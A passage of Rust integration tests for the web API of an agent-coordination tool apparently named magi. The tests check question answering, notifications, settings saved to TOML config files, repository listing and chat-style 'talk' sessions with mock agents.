11301 Some(r#"{"body":"still there?"}"#),
11302 )
11303 .await;
11304 assert_eq!(res.status, 409, "{}", res.body);
11305
11306 let abandoned_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
11307 let mut abandoned = store.get(&abandoned_id).expect("get");
11308 abandoned.abandon("timed out");
11309 store.put(&mut abandoned).expect("put");
11310 let res = fx
11311 .post(
11312 &format!("/api/questions/{abandoned_id}/say"),
11313 Some(r#"{"body":"still there?"}"#),
11314 )
11315 .await;
11316 assert_eq!(res.status, 409, "{}", res.body);
11317 }
11318
11319 #[tokio::test]
11320 async fn an_answer_the_question_does_not_offer_is_refused() {
11321 let fx = Fixture::start().await;
11322 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
11323 let path = format!("/api/questions/{id}/answer");
11324
11325 for body in [
11326 r#"{"choice":"Postgres"}"#,
11327 r#"{"text":"whatever you think"}"#,
11328 r#"{"choice":"Redis","text":"both"}"#,
11329 r#"{}"#,
11330 ] {
11331 let res = fx.post(&path, Some(body)).await;
11332 assert_eq!(res.status, 400, "{body} should be refused: {}", res.body);
11333 assert!(res.json()["error"].is_string(), "{}", res.body);
11334 }
11335 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
11337 }
11338
11339 #[tokio::test]
11340 async fn a_free_text_question_takes_text_and_not_a_choice() {
11341 let fx = Fixture::start().await;
11342 let id = ask(&fx, "What should the flag be called?", &[]);
11343 fx.questions().beat(&id, ask::WaiterKind::Asker);
11344 let path = format!("/api/questions/{id}/answer");
11345
11346 assert_eq!(
11347 fx.post(&path, Some(r#"{"choice":"--json"}"#)).await.status,
11348 400
11349 );
11350 let res = fx.post(&path, Some(r#"{"text":"--json"}"#)).await;
11351 assert_eq!(res.status, 200, "{}", res.body);
11352 assert_eq!(res.json()["answer"]["text"], "--json");
11353 }
11354
11355 #[tokio::test]
11356 async fn an_unknown_question_is_a_json_404() {
11357 let fx = Fixture::start().await;
11358 let res = fx
11359 .post("/api/questions/nope/answer", Some(r#"{"text":"x"}"#))
11360 .await;
11361 assert_eq!(res.status, 404, "{}", res.body);
11362 assert!(res.json()["error"].is_string());
11363 }
11364
11365 #[tokio::test]
11366 async fn notifications_resolve_live_questions_without_changing_saved_notices() {
11367 let fx = Fixture::start().await;
11368 let questions = Questions::at(fx.home.path().join("questions"));
11369 let store = Notices::at(fx.home.path().join("notifications"));
11370 let mut q = ask::Question::new(
11371 "t1".into(),
11372 "conduct".into(),
11373 "conductor".into(),
11374 "Continue?".into(),
11375 String::new(),
11376 Vec::new(),
11377 );
11378 questions.put(&mut q).unwrap();
11379 let mut n = Notice::warn("task:t1", "Task t1 is held.");
11380 n.covered_by = Some(q.id.clone());
11381 let n = store.raise(n).unwrap();
11382 let listed = fx.get("/api/notifications").await.json();
11383 assert_eq!(listed["items"][0]["answerable_question"], q.id);
11384 questions
11385 .update(&q.id, |q| {
11386 q.abandon("run gone");
11387 Ok(())
11388 })
11389 .unwrap();
11390 let listed = fx.get("/api/notifications").await.json();
11391 assert!(listed["items"][0]["answerable_question"].is_null());
11392 assert_eq!(store.get(&n.id).unwrap().covered_by, Some(q.id));
11393 assert!(
11394 !std::fs::read_to_string(store.root().join(format!("{}.json", n.id)))
11395 .unwrap()
11396 .contains("answerable_question")
11397 );
11398 }
11399
11400 #[tokio::test]
11401 async fn notifications_list_read_dismiss_and_health_agree() {
11402 let fx = Fixture::start().await;
11403 let store = Notices::at(fx.home.path().join("notifications"));
11404 assert_eq!(fx.get("/api/notifications").await.json()["unread"], 0);
11405 let rev0 = fx.get("/api/health").await.json()["notifications_rev"].clone();
11406
11407 let a = store.raise(Notice::warn("task:1", "held")).unwrap();
11408 let b = store.raise(Notice::error("run:2", "blocked")).unwrap();
11409
11410 store
11411 .raise(Notice::warn("deputy:deleted-question", "obsolete warning"))
11412 .unwrap();
11413 let health = fx.get("/api/health").await.json();
11414 assert_eq!(health["notifications_unread"], 2);
11415 assert_ne!(
11416 health["notifications_rev"], rev0,
11417 "the badge must move live"
11418 );
11419
11420 let listed = fx.get("/api/notifications").await.json();
11421 assert_eq!(listed["unread"], 2);
11422 assert_eq!(listed["items"].as_array().unwrap().len(), 2);
11423 assert_eq!(listed["items"][0]["severity"], "error", "newest first");
11424
11425 let read = fx
11426 .post(&format!("/api/notifications/{}/read", a.id), None)
11427 .await;
11428 assert_eq!(read.status, 200, "{}", read.body);
11429 assert_eq!(fx.get("/api/notifications").await.json()["unread"], 1);
11430
11431 let gone = fx
11432 .post(&format!("/api/notifications/{}/dismiss", b.id), None)
11433 .await;
11434 assert_eq!(gone.status, 200, "{}", gone.body);
11435 let listed = fx.get("/api/notifications").await.json();
11436 assert_eq!(listed["items"].as_array().unwrap().len(), 1);
11437 assert_eq!(listed["unread"], 0);
11438
11439 store.raise(Notice::info("x", "again")).unwrap();
11440 let all = fx.post("/api/notifications/read-all", None).await;
11441 assert_eq!(all.status, 200, "{}", all.body);
11442 assert_eq!(all.json()["marked"], 1);
11443 assert_eq!(
11444 fx.get("/api/health").await.json()["notifications_unread"],
11445 0
11446 );
11447
11448 let missing = fx.post("/api/notifications/nope/read", None).await;
11449 assert_eq!(missing.status, 404, "{}", missing.body);
11450 assert!(missing.json()["error"].is_string());
11451 }
11452
11453 #[tokio::test]
11460 async fn a_task_cannot_be_filed_over_the_phone_directly() {
11461 let f = Fixture::start().await;
11462
11463 let res = f
11464 .post(
11465 "/api/queue",
11466 Some(r#"{"instruction":"Add a --json flag to magi list"}"#),
11467 )
11468 .await;
11469
11470 assert_eq!(
11471 res.status, 405,
11472 "POST /api/queue must not be a route: {}",
11473 res.body
11474 );
11475 assert!(
11476 f.queue().list().is_empty(),
11477 "a task filed by a route that does not exist must not reach the disk"
11478 );
11479 assert_eq!(f.get("/api/queue").await.status, 200);
11482 }
11483
11484 fn make_checkout(root: &FsPath, host: &str, owner: &str, repo: &str) {
11486 std::fs::create_dir_all(root.join(host).join(owner).join(repo).join(".git"))
11487 .expect("checkout dir");
11488 }
11489
11490 const SETTINGS_AGENTS: &str = "[[agents]]\nid = \"a\"\nkind = \"command\"\ncommand = [\"true\"]\n\n[[agents]]\nid = \"b\"\nkind = \"command\"\ncommand = [\"true\"]\n";
11492
11493 fn settings_dirs(repo_toml: &str, machine_toml: Option<&str>) -> (TempDir, PathBuf, PathBuf) {
11494 let tmp = TempDir::new().expect("tempdir");
11495 let repo = tmp.path().join("repo");
11496 std::fs::create_dir_all(&repo).expect("repo dir");
11497 std::fs::write(repo.join("magi.toml"), repo_toml).expect("repo toml");
11498 let machine = tmp.path().join("cfg").join("magi").join("config.toml");
11499 if let Some(text) = machine_toml {
11500 std::fs::create_dir_all(machine.parent().expect("parent")).expect("cfg dir");
11501 std::fs::write(&machine, text).expect("machine toml");
11502 }
11503 (tmp, repo, machine)
11504 }
11505
11506 async fn settings_checkout(path: &FsPath, text: &str) {
11507 std::fs::create_dir_all(path).unwrap();
11508 std::fs::write(path.join("magi.toml"), text).unwrap();
11509 for args in [
11510 vec!["init", "-b", "main"],
11511 vec!["add", "magi.toml"],
11512 vec![
11513 "-c",
11514 "user.name=Test",
11515 "-c",
11516 "user.email=test@example.invalid",
11517 "commit",
11518 "-m",
11519 "fixture",
11520 ],
11521 vec!["update-ref", "refs/remotes/origin/main", "HEAD"],
11522 vec![
11523 "symbolic-ref",
11524 "refs/remotes/origin/HEAD",
11525 "refs/remotes/origin/main",
11526 ],
11527 ] {
11528 crate::git::git(path, &args).await.unwrap();
11529 }
11530 }
11531
11532 #[tokio::test]
11533 async fn settings_context_handlers_validate_and_save_without_a_socket() {
11534 let (tmp, repo, machine) =
11535 settings_dirs("[roles]\nreviewers = [\"a\"]\n", Some(SETTINGS_AGENTS));
11536 let root = tmp.path().join("roots");
11537 let selected = root.join("host/owner/selected");
11538 settings_checkout(
11539 &selected,
11540 "[roles]\nconductor = \"b\"\n[graph]\njudges = 2\n",
11541 )
11542 .await;
11543 std::fs::write(&machine, format!("{SETTINGS_AGENTS}\n[roles]\nconductor = \"a\"\n[graph]\njudges = 1\n[repos]\nroots = [{}]\nscan_ttl = 3600\n", toml::Value::String(root.display().to_string()))).unwrap();
11544 let before = std::fs::read(&machine).unwrap();
11545 let ui = Arc::new(
11546 Ui::new(
11547 Queue::at(tmp.path().join("queue")),
11548 Questions::at(tmp.path().join("questions")),
11549 Talks::at(tmp.path().join("talks")),
11550 tmp.path().join("runs"),
11551 tmp.path().to_path_buf(),
11552 repo.clone(),
11553 )
11554 .with_machine_config(Some(machine.clone())),
11555 );
11556 let query = || {
11557 Query(SettingsQuery {
11558 repo: Some(selected.clone()),
11559 })
11560 };
11561 let Json(v) = settings_get(State(ui.clone()), query()).await.unwrap();
11562 assert!(v.error.is_none(), "{:?}", v.error);
11563 let conductor = v.roles.iter().find(|r| r.key == "conductor").unwrap();
11564 assert_eq!(conductor.source, "repo");
11565 assert_eq!(
11566 conductor.machine_value,
11567 Some(toml::Value::String("a".into()))
11568 );
11569 assert!(!conductor.editable);
11570 let judges = v.roles.iter().find(|r| r.key == "judges").unwrap();
11571 assert_eq!(
11572 judges.count.as_ref().unwrap().machine_value,
11573 Some(toml::Value::Integer(1))
11574 );
11575 assert!(
11576 !v.roles
11577 .iter()
11578 .find(|r| r.key == "reviewers")
11579 .unwrap()
11580 .editable
11581 );
11582 let unknown = || {
11583 Query(SettingsQuery {
11584 repo: Some(tmp.path().to_path_buf()),
11585 })
11586 };
11587 assert_eq!(
11588 settings_get(State(ui.clone()), unknown())
11589 .await
11590 .unwrap_err()
11591 .status,
11592 StatusCode::UNPROCESSABLE_ENTITY
11593 );
11594 let body = || {
11595 Ok(Json(RolesBody {
11596 revision: v.revision.clone(),
11597 roles: std::collections::BTreeMap::from([("judges".into(), vec!["b".into()])]),
11598 counts: Default::default(),
11599 }))
11600 };
11601 assert_eq!(
11602 settings_put_roles(State(ui.clone()), unknown(), body())
11603 .await
11604 .unwrap_err()
11605 .status,
11606 StatusCode::UNPROCESSABLE_ENTITY
11607 );
11608 assert_eq!(std::fs::read(&machine).unwrap(), before);
11609 let Json(saved) = settings_put_roles(State(ui.clone()), query(), body())
11610 .await
11611 .unwrap();
11612 assert_eq!(
11613 saved.repo,
11614 selected.canonicalize().unwrap().display().to_string()
11615 );
11616 assert!(settings::repository_config(&repo, Some(&machine)).is_ok());
11617 assert!(settings::repository_config(&selected, Some(&machine)).is_ok());
11618 let fresh = root.join("host/owner/fresh");
11620 settings_checkout(&fresh, "[graph]\nadvisors = 0\n").await;
11621 let Json(fresh_view) = settings_get(State(ui), Query(SettingsQuery { repo: Some(fresh) }))
11622 .await
11623 .unwrap();
11624 assert_eq!(fresh_view.repositories.len(), 3);
11625 }
11626
11627 #[tokio::test]
11628 async fn settings_context_selector_validates_paths_and_preserves_all_checkouts() {
11629 let (tmp, repo, machine) = settings_dirs(
11630 "[roles]\nreviewers = [\"a\"]\n",
11631 Some(&format!("{SETTINGS_AGENTS}\n[graph]\njudges = 1\n")),
11632 );
11633 let root = tmp.path().join("roots");
11634 let selected = root.join("host/owner/selected");
11635 settings_checkout(
11636 &selected,
11637 "[roles]\nadvisors = [\"b\"]\n[graph]\njudges = 2\n",
11638 )
11639 .await;
11640 let broken = root.join("host/owner/broken");
11641 settings_checkout(&broken, "[roles\nbroken").await;
11642 let machine_text = format!(
11643 "{SETTINGS_AGENTS}\n[graph]\njudges = 1\n[repos]\nroots = [{}]\n",
11644 toml::Value::String(root.display().to_string())
11645 );
11646 std::fs::write(&machine, &machine_text).unwrap();
11647 let originals: Vec<_> = [&repo, &selected, &broken]
11648 .iter()
11649 .map(|p| std::fs::read(p.join("magi.toml")).unwrap())
11650 .collect();
11651 let f = Fixture::with_repo_and_machine(repo.clone(), machine.clone()).await;
11652 let default = f.get("/api/settings").await.json();
11653 assert_eq!(
11654 default["repo"],
11655 repo.canonicalize().unwrap().display().to_string()
11656 );
11657 assert_eq!(default["repositories"].as_array().unwrap().len(), 3);
11658 let query = format!("?repo={}", selected.display());
11659 let res = f.get(&format!("/api/settings{query}")).await;
11660 assert_eq!(res.status, 200, "{}", res.body);
11661 let v = res.json();
11662 assert!(v["error"].is_null(), "{v}");
11663 assert_eq!(v["repositories"], default["repositories"]);
11664 let role = |key: &str| {
11665 v["roles"]
11666 .as_array()
11667 .unwrap()
11668 .iter()
11669 .find(|r| r["key"] == key)
11670 .unwrap()
11671 };
11672 assert_eq!(role("advisors")["configured"], serde_json::json!(["b"]));
11673 assert_eq!(role("advisors")["source"], "repo");
11674 assert_eq!(role("advisors")["editable"], false);
11675 assert!(role("advisors")["machine_value"].is_null());
11676 assert_eq!(role("judges")["count"]["value"], 2);
11677 assert_eq!(role("judges")["count"]["machine_value"], 1);
11678 assert_eq!(role("judges")["count"]["source"], "repo");
11679 let source = role("judges")["count"]["source_path"].as_str().unwrap();
11680 assert!(
11681 source.contains("origin/main") && !source.contains("magi/config/"),
11682 "{source}"
11683 );
11684 assert_eq!(
11685 role("reviewers")["editable"],
11686 false,
11687 "default context outside roots must protect its declarations"
11688 );
11689 let body =
11690 serde_json::json!({"revision": v["revision"], "roles": {"judges": ["b"]}}).to_string();
11691 let unknown = format!("?repo={}", tmp.path().display());
11692 assert_eq!(f.get(&format!("/api/settings{unknown}")).await.status, 422);
11693 assert_eq!(
11694 f.put(&format!("/api/settings/roles{unknown}"), &body)
11695 .await
11696 .status,
11697 422
11698 );
11699 assert_eq!(std::fs::read_to_string(&machine).unwrap(), machine_text);
11700 let refuse = serde_json::json!({"revision": v["revision"], "roles": {"reviewers": ["b"]}})
11701 .to_string();
11702 assert_eq!(
11703 f.put(&format!("/api/settings/roles{query}"), &refuse)
11704 .await
11705 .status,
11706 422
11707 );
11708 let saved = f.put(&format!("/api/settings/roles{query}"), &body).await;
11709 assert_eq!(saved.status, 200, "{}", saved.body);
11710 assert_eq!(saved.json()["repo"], v["repo"]);
11711 assert!(settings::repository_config(&repo, Some(&machine)).is_ok());
11712 assert!(settings::repository_config(&selected, Some(&machine)).is_ok());
11713 for (p, before) in [&repo, &selected, &broken].iter().zip(originals) {
11714 assert_eq!(std::fs::read(p.join("magi.toml")).unwrap(), before);
11715 }
11716 let error = f
11717 .get(&format!("/api/settings?repo={}", broken.display()))
11718 .await;
11719 assert_eq!(error.status, 200);
11720 assert!(error.json()["error"]["message"].is_string());
11721 assert_eq!(error.json()["repositories"], default["repositories"]);
11722 }
11723
11724 #[tokio::test]
11725 async fn settings_get_reports_sources_and_the_advisors_fallback() {
11726 let (_tmp, repo, machine) =
11727 settings_dirs(SETTINGS_AGENTS, Some("[roles]\njudges = [\"b\"]\n"));
11728 let f = Fixture::with_repo_and_machine(repo, machine).await;
11729 let res = f.get("/api/settings").await;
11730 assert_eq!(res.status, 200, "{}", res.body);
11731 let v = res.json();
11732 assert!(v["error"].is_null(), "{v}");
11733 let role = |k: &str| {
11734 v["roles"]
11735 .as_array()
11736 .and_then(|r| r.iter().find(|x| x["key"] == k))
11737 .cloned()
11738 .unwrap_or_else(|| panic!("no role {k}: {v}"))
11739 };
11740 assert_eq!(role("judges")["source"], "machine");
11741 assert_eq!(role("judges")["editable"], true);
11742 assert_eq!(role("implementers")["source"], "default");
11743 let adv = role("advisors");
11744 assert_eq!(adv["fallback"], "judges");
11745 assert!(
11746 adv["seats"]
11747 .as_array()
11748 .is_some_and(|s| s.iter().all(|x| x == "b")),
11749 "{adv}"
11750 );
11751 assert_eq!(v["agents"].as_array().map(Vec::len), Some(2));
11752 assert_eq!(v["agents"][0]["source"], "repo");
11753 }
11754
11755 #[tokio::test]
11756 async fn settings_get_reports_a_config_that_does_not_parse() {
11757 let (_tmp, repo, machine) = settings_dirs("[roles\nbroken", None);
11758 let f = Fixture::with_repo_and_machine(repo, machine).await;
11759 let res = f.get("/api/settings").await;
11760 assert_eq!(res.status, 200, "{}", res.body);
11761 let v = res.json();
11762 assert!(v["error"]["message"].is_string(), "{v}");
11763 assert!(
11764 v["error"]["path"]
11765 .as_str()
11766 .is_some_and(|p| p.ends_with("magi.toml")),
11767 "{v}"
11768 );
11769 assert_eq!(v["roles"].as_array().map(Vec::len), Some(0));
11770 }
11771
11772 #[tokio::test]
11773 async fn settings_put_saves_to_the_machine_file_and_keeps_comments() {
11774 let (_tmp, repo, machine) = settings_dirs(
11775 SETTINGS_AGENTS,
11776 Some("# mine\n[roles]\n# seats\njudges = [\"a\"] # note\n\n[vars]\nx = 1\n"),
11777 );
11778 let repo_before = std::fs::read(repo.join("magi.toml")).expect("read");
11779 let f = Fixture::with_repo_and_machine(repo.clone(), machine.clone()).await;
11780 let rev = f.get("/api/settings").await.json()["revision"]
11781 .as_str()
11782 .expect("revision")
11783 .to_owned();
11784 let body = serde_json::json!({
11785 "revision": rev,
11786 "roles": { "judges": ["b", "a"], "reviewers": ["a"] }
11787 })
11788 .to_string();
11789 let res = f.put("/api/settings/roles", &body).await;
11790 assert_eq!(res.status, 200, "{}", res.body);
11791 let text = std::fs::read_to_string(&machine).expect("machine");
11792 assert_eq!(
11793 text,
11794 "# mine\n[roles]\n# seats\njudges = [\"b\", \"a\"] # note\nreviewers = [\"a\"]\n\n[vars]\nx = 1\n"
11795 );
11796 assert_eq!(
11797 std::fs::read(repo.join("magi.toml")).expect("read"),
11798 repo_before
11799 );
11800 let again = f.get("/api/settings").await.json();
11801 let judges = again["roles"]
11802 .as_array()
11803 .expect("roles")
11804 .iter()
11805 .find(|r| r["key"] == "judges")
11806 .expect("judges")
11807 .clone();
11808 assert_eq!(judges["configured"], serde_json::json!(["b", "a"]));
11809 let stale = f.put("/api/settings/roles", &body).await;
11811 assert_eq!(stale.status, 409, "{}", stale.body);
11812 }
11813
11814 #[tokio::test]
11815 async fn settings_counts_are_reported_and_saved() {
11816 let (_tmp, repo, machine) = settings_dirs(
11817 &format!("{SETTINGS_AGENTS}\n[graph]\nreviewers = 2\n"),
11818 Some("# mine\n[graph]\ncandidates = 2 # seats\n"),
11819 );
11820 let f = Fixture::with_repo_and_machine(repo, machine.clone()).await;
11821 let v = f.get("/api/settings").await.json();
11822 let count = |v: &serde_json::Value, k: &str| {
11823 v["roles"]
11824 .as_array()
11825 .and_then(|r| r.iter().find(|x| x["key"] == k))
11826 .map(|x| x["count"].clone())
11827 .unwrap_or_else(|| panic!("no role {k}: {v}"))
11828 };
11829 let imp = count(&v, "implementers");
11830 assert_eq!(imp["value"], 2);
11831 assert_eq!(imp["source"], "machine");
11832 assert_eq!(imp["file_key"], "candidates");
11833 assert_eq!(imp["roster_len"], 2);
11834 assert_eq!(imp["backups"], 0);
11835 assert_eq!(count(&v, "judges")["source"], "default");
11836 assert_eq!(count(&v, "advisors")["min"], 0);
11837 assert_eq!(count(&v, "reviewers")["editable"], false);
11838 assert!(
11839 count(&v, "reviewers")["locked_reason"]
11840 .as_str()
11841 .is_some_and(|m| m.contains("graph.reviewers"))
11842 );
11843 assert!(count(&v, "fixer").is_null());
11844 let rev = v["revision"].as_str().expect("revision").to_owned();
11845 let body = serde_json::json!({
11846 "revision": rev,
11847 "roles": { "judges": ["b"] },
11848 "counts": { "implementers": 1, "advisors": 0 }
11849 })
11850 .to_string();
11851 let res = f.put("/api/settings/roles", &body).await;
11852 assert_eq!(res.status, 200, "{}", res.body);
11853 let text = std::fs::read_to_string(&machine).expect("machine");
11854 assert_eq!(
11855 text,
11856 "# mine\n[graph]\ncandidates = 1 # seats\nadvisors = 0\n\n[roles]\njudges = [\"b\"]\n"
11857 );
11858 let after = f.get("/api/settings").await.json();
11859 assert_eq!(count(&after, "implementers")["value"], 1);
11860 assert_eq!(count(&after, "implementers")["backups"], 1);
11861 assert_eq!(count(&after, "advisors")["value"], 0);
11862 let before = std::fs::read_to_string(&machine).expect("machine");
11863 let rev = after["revision"].as_str().expect("revision").to_owned();
11864 for counts in [
11865 serde_json::json!({ "judges": 0 }),
11866 serde_json::json!({ "judges": "x" }),
11867 serde_json::json!({ "judges": 2.5 }),
11868 serde_json::json!({ "judges": -1 }),
11869 serde_json::json!({ "reviewers": 3 }),
11870 serde_json::json!({ "bogus": 3 }),
11871 ] {
11872 let body = serde_json::json!({ "revision": rev, "counts": counts }).to_string();
11873 let res = f.put("/api/settings/roles", &body).await;
11874 assert_eq!(res.status, 422, "{counts}: {}", res.body);
11875 assert_eq!(std::fs::read_to_string(&machine).expect("machine"), before);
11876 }
11877 }
11878
11879 #[tokio::test]
11880 async fn settings_put_refuses_without_touching_the_file() {
11881 let machine_text = "# mine\n[roles]\njudges = [\"a\"]\n";
11882 let (_tmp, repo, machine) = settings_dirs(
11883 &format!("{SETTINGS_AGENTS}\n[roles]\nreviewers = [\"a\"]\n"),
11884 Some(machine_text),
11885 );
11886 let f = Fixture::with_repo_and_machine(repo, machine.clone()).await;
11887 let rev = f.get("/api/settings").await.json()["revision"]
11888 .as_str()
11889 .expect("revision")
11890 .to_owned();
11891 for roles in [
11892 serde_json::json!({ "judges": ["nope"] }),
11893 serde_json::json!({ "reviewers": ["b"] }),
11894 serde_json::json!({ "bogus": ["a"] }),
11895 ] {
11896 let body = serde_json::json!({ "revision": rev, "roles": roles }).to_string();
11897 let res = f.put("/api/settings/roles", &body).await;
11898 assert_eq!(res.status, 422, "{roles}: {}", res.body);
11899 assert!(res.json()["error"].as_str().is_some_and(|m| !m.is_empty()));
11900 assert_eq!(
11901 std::fs::read_to_string(&machine).expect("machine"),
11902 machine_text
11903 );
11904 }
11905 }
11906
11907 #[tokio::test]
11908 async fn repos_list_returns_name_and_path_for_every_configured_root() {
11909 let tmp = TempDir::new().expect("tempdir");
11910 let repo = tmp.path().join("repo");
11911 std::fs::create_dir_all(&repo).expect("repo dir");
11912 let root = tmp.path().join("root");
11913 make_checkout(&root, "github.com", "yukimemi", "magi");
11914 std::fs::write(
11915 repo.join("magi.toml"),
11916 format!(
11917 "[repos]\nroots = [{:?}]\n",
11918 root.to_string_lossy().into_owned()
11919 ),
11920 )
11921 .expect("write magi.toml");
11922
11923 let f = Fixture::with_repo(repo).await;
11924 let res = f.get("/api/repos").await;
11925 assert_eq!(res.status, 200, "{}", res.body);
11926 let list = res.json();
11927 let repos = list.as_array().expect("an array");
11928 assert_eq!(repos.len(), 1);
11929 assert_eq!(repos[0]["name"], "yukimemi/magi");
11930 assert!(
11931 repos[0]["path"]
11932 .as_str()
11933 .is_some_and(|p| p.ends_with("magi") || p.contains("magi")),
11934 "{list}"
11935 );
11936 }
11937
11938 #[tokio::test]
11939 async fn repos_list_only_rescans_within_the_ttl_when_asked_to() {
11940 let tmp = TempDir::new().expect("tempdir");
11941 let repo = tmp.path().join("repo");
11942 std::fs::create_dir_all(&repo).expect("repo dir");
11943 let root = tmp.path().join("root");
11944 make_checkout(&root, "github.com", "yukimemi", "magi");
11945 std::fs::write(
11946 repo.join("magi.toml"),
11947 format!(
11948 "[repos]\nroots = [{:?}]\nscan_ttl = 3600\n",
11949 root.to_string_lossy().into_owned()
11950 ),
11951 )
11952 .expect("write magi.toml");
11953
11954 let f = Fixture::with_repo(repo).await;
11955 let first = f.get("/api/repos").await;
11956 assert_eq!(first.json().as_array().map(Vec::len), Some(1));
11957
11958 make_checkout(&root, "github.com", "yukimemi", "rvpm");
11961 let second = f.get("/api/repos").await;
11962 assert_eq!(
11963 second.json().as_array().map(Vec::len),
11964 Some(1),
11965 "a fresh cache must not rescan inside the TTL"
11966 );
11967
11968 let refreshed = f.get("/api/repos?refresh=1").await;
11969 assert_eq!(
11970 refreshed.json().as_array().map(Vec::len),
11971 Some(2),
11972 "an explicit refresh must rescan even inside the TTL"
11973 );
11974 }
11975
11976 const MOCK_AGENT_TOML: &str = "[[agents]]\nid = \"mock\"\nkind = \"command\"\ncommand = [\"sh\", \"-c\", \"cat >/dev/null && printf ok\"]\n";
11982
11983 async fn talk_fixture() -> (TempDir, PathBuf, Fixture) {
11987 let tmp = TempDir::new().expect("tempdir");
11988 let repo = tmp.path().join("repo");
11989 std::fs::create_dir_all(&repo).expect("repo dir");
11990 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
11991 let f = Fixture::with_repo(repo.clone()).await;
11992 (tmp, repo, f)
11993 }
11994
11995 #[tokio::test]
11996 async fn posting_a_talk_with_remembered_choices_is_soft() {
11997 let (_tmp, _repo, f) = talk_fixture().await;
11998
11999 let good = f
12000 .post("/api/talks", Some(r#"{"persona":"rei","implementers":1}"#))
12001 .await;
12002 assert_eq!(good.status, 201, "{}", good.body);
12003 assert_eq!(good.json()["persona"], "rei");
12004
12005 let stale = f
12007 .post(
12008 "/api/talks",
12009 Some(r#"{"preferred_agent":"gone","persona":"nobody","implementers":7}"#),
12010 )
12011 .await;
12012 assert_eq!(stale.status, 201, "{}", stale.body);
12013 let v = stale.json();
12014 assert_eq!(v["implementers"], 1);
12015 assert_ne!(v["persona"], "nobody");
12016 let typed = f
12017 .post(
12018 "/api/talks",
12019 Some(r#"{"preferred_agent":3,"persona":[],"implementers":"x"}"#),
12020 )
12021 .await;
12022 assert_eq!(typed.status, 201, "{}", typed.body);
12023
12024 let strict = f.post("/api/talks", Some(r#"{"agent":"gone"}"#)).await;
12026 assert!(
12027 !strict.status.to_string().starts_with('2'),
12028 "{}",
12029 strict.body
12030 );
12031 }
12032
12033 #[tokio::test]
12034 async fn posting_a_talk_with_no_body_opens_one_and_takes_no_turn() {
12035 let (_tmp, _repo, f) = talk_fixture().await;
12036
12037 let opened = f.post("/api/talks", None).await;
12040 assert_eq!(opened.status, 201, "{}", opened.body);
12041 let body = opened.json();
12042 assert_eq!(body["status"], "open");
12043 assert_eq!(
12044 body["turns"].as_array().unwrap().len(),
12045 0,
12046 "opening takes no agent turn: there is nothing yet to answer"
12047 );
12048
12049 let also_opened = f.post("/api/talks", Some("{}")).await;
12051 assert_eq!(also_opened.status, 201, "{}", also_opened.body);
12052
12053 let listed = f.get("/api/talks").await.json();
12054 assert_eq!(listed.as_array().unwrap().len(), 2);
12055 }
12056
12057 #[tokio::test]
12058 async fn talk_agent_switches_the_roster_agent_and_refuses_unknown_busy_or_closed() {
12059 let tmp = TempDir::new().expect("tempdir");
12060 let repo = tmp.path().join("repo");
12061 std::fs::create_dir_all(&repo).expect("repo dir");
12062 let second = MOCK_AGENT_TOML.replace("\"mock\"", "\"second\"");
12063 std::fs::write(
12064 repo.join("magi.toml"),
12065 format!("{MOCK_AGENT_TOML}\n{second}"),
12066 )
12067 .expect("write magi.toml");
12068 let home = TempDir::new().expect("temp home");
12069 let talks = Talks::at(home.path().join("talks"));
12070 let ui = Arc::new(
12071 Ui::new(
12072 Queue::at(home.path().join("queue")),
12073 Questions::at(home.path().join("questions")),
12074 talks.clone(),
12075 home.path().join("runs"),
12076 home.path().to_path_buf(),
12077 repo.clone(),
12078 )
12079 .with_worktrees_root(home.path().join("wt")),
12080 );
12081 let cfg = config_for(&repo).await.expect("discover config");
12082 let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
12083 let id = talk.id.clone();
12084 let call = |agent: &str| {
12085 talk_agent(
12086 State(Arc::clone(&ui)),
12087 Path(id.clone()),
12088 Json(TalkAgent {
12089 agent: agent.to_owned(),
12090 }),
12091 )
12092 };
12093
12094 let unknown = call("nobody").await.expect_err("unknown agent");
12095 assert_eq!(
12096 unknown.status,
12097 StatusCode::BAD_REQUEST,
12098 "{}",
12099 unknown.message
12100 );
12101
12102 {
12103 let guard = ui.begin_talk_turn(&id).expect("claim").expect("free");
12106 let busy = call("second").await.expect_err("busy talk");
12107 assert_eq!(busy.status, StatusCode::CONFLICT, "{}", busy.message);
12108 assert!(
12109 busy.message.contains("a talk turn is running"),
12110 "{}",
12111 busy.message
12112 );
12113 drop(guard);
12114 }
12115 assert_eq!(talks.get(&id).expect("reload").agent, "mock");
12116
12117 let Json(view) = call("second").await.expect("switch");
12118 assert_eq!(view.talk.agent, "second");
12119 assert_eq!(view.talk.turns.len(), 1, "the change is noted");
12120 let saved = talks.get(&id).expect("reload");
12121 assert_eq!(saved.agent, "second");
12122 assert_eq!(saved.turns.len(), 1);
12123 assert!(!view.thinking);
12124 assert!(!ui.is_thinking(&id), "idle response must release the claim");
12125 for agent in ["mock", "second"] {
12126 let Json(view) = call(agent).await.expect("immediate consecutive change");
12127 assert_eq!(view.talk.agent, agent);
12128 assert!(!view.thinking);
12129 assert!(!ui.is_thinking(&id));
12130 }
12131
12132 let detail = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
12133 .await
12134 .expect("detail");
12135 let roster: Vec<&str> = detail.0.roster.iter().map(|r| r.id.as_str()).collect();
12136 assert_eq!(roster, ["mock", "second"]);
12137
12138 let mut closed = talks.get(&id).expect("reload");
12139 talk::close(&mut closed, &talks).expect("close");
12140 let refused = call("mock").await.expect_err("closed talk");
12141 assert_eq!(refused.status, StatusCode::CONFLICT, "{}", refused.message);
12142 assert!(
12143 refused.message.contains("takes no more turns"),
12144 "{}",
12145 refused.message
12146 );
12147 }
12148
12149 #[tokio::test]
12150 async fn talk_implementers_validates_and_refuses_busy_or_closed() {
12151 let tmp = TempDir::new().expect("tempdir");
12152 let repo = tmp.path().join("repo");
12153 std::fs::create_dir_all(&repo).expect("repo dir");
12154 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
12155 let home = TempDir::new().expect("temp home");
12156 let talks = Talks::at(home.path().join("talks"));
12157 let ui = Arc::new(
12158 Ui::new(
12159 Queue::at(home.path().join("queue")),
12160 Questions::at(home.path().join("questions")),
12161 talks.clone(),
12162 home.path().join("runs"),
12163 home.path().to_path_buf(),
12164 repo.clone(),
12165 )
12166 .with_worktrees_root(home.path().join("wt")),
12167 );
12168 let cfg = config_for(&repo).await.expect("discover config");
